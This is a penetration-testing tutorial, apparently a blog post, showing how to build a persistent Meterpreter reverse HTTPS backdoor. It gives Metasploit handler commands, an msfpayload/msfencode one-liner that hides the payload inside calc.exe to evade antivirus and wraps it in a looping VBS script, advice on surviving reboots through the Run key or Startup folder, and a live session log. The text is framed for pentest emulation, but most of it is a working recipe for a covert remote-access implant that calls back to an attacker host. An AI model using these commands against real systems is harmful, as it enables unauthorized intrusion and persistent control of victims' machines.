Persistent Meterpreter over Reverse HTTPS

Botnet agents and malware go through inordinate lengths to hide their command and control traffic.

From a penetration testing perspective, emulating these types of communication channels is possible,
but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit

Meterpreter payload as a persistent encrypted remote control tool.First things first, grab the latest version of Metasploit (3.3.3)
and update to the latest SVN snapshot. Revision r9058 or newer will work for this example.Next,

we need to setup a listening station for the remote system to connect to. This is the system that will be running msfconsole and handling
the incoming connections.

The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT).

If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example,

we want to use the brand new reverse_https stager,
which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with reverse_tcp_dns, allows an actual hostname to be specified in the LHOST parameter.

If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.Assuming we are running

Metasploit on a typical broadband connection and behind a NAT gateway,

we would first register our system with a dynamic DNS service (metasploit.kicks-ass.net), choose a listening port (8443) and then forward
this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry
has been activated,

we can start msfconsole:

$ msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https

msf exploit(handler) > set LPORT 8443 msf exploit(handler) > set LHOST metasploit.kicks-ass.net

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j
[*] HTTPS listener started on http://metasploit.kicks-ass.net:8443/[*]
Starting the payload handler...Once the listener has been configured,

you can test whether the handler is working properly by using a third-party web site test tool that supports SSL.

I have had success using WAVE, but any "site check" tool will indicate whether the handler is accessible.

If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a

"No site configured at this address" message.After the listener has been configured and tested,

its time to create the actual persistent Meterpreter connect-back script.

In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a "template" and inject the payload inside, then wrap this all in a script.

On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do.

Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent

retry. The following command does this:

$ msfpayload windows/meterpreter/reverse_https LHOST=metasploit.kicks-ass.net LPORT=8443 R |msfencode -x calc.exe -t loop-vbs -o final.vbs[*] x86/shikata_ga_nai
succeeded with size 408 (iteration=1)

$ ls -la final.vbs-rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbsFinally, execute the VBS on the target system, and
enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back.

The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom).

To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots,
add this to the standard Run key or the Startup folder.
[*] A.B.C.D:53386 Request received for /AVkev...
[*] A.B.C.D:53386 Staging connection for target Vkev received...
[*] Patching Target ID Vkev into DLL
[*] A.B.C.D:53387 Request received for /BVkev...
[*] A.B.C.D:53387 Stage connection for target Vkev received...
[*] Meterpreter session 2 opened (192.168.0.228:8443 -> A.B.C.D:53387)

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuidServer username: metal\dev

meterpreter > psProcess list============ PID Name Arch Session User Path --- ---- ---- ------- ---- ----
0 [System Process]
4 System 404 smss.exe
520 csrss.exe
584 wininit.exe
608 csrss.exe
648 services.exe
668 lsass.exe
676 lsm.exe
792 svchost.exe
852 nvvsvc.exe
892 svchost.exe

For more information about how the reverse_https and reverse_tcp_dns stagers work,

I recommend reading the source. While the initial stage supports SSL, DNS, proxies, and authentication,

the second stage does not support the last two features (yet).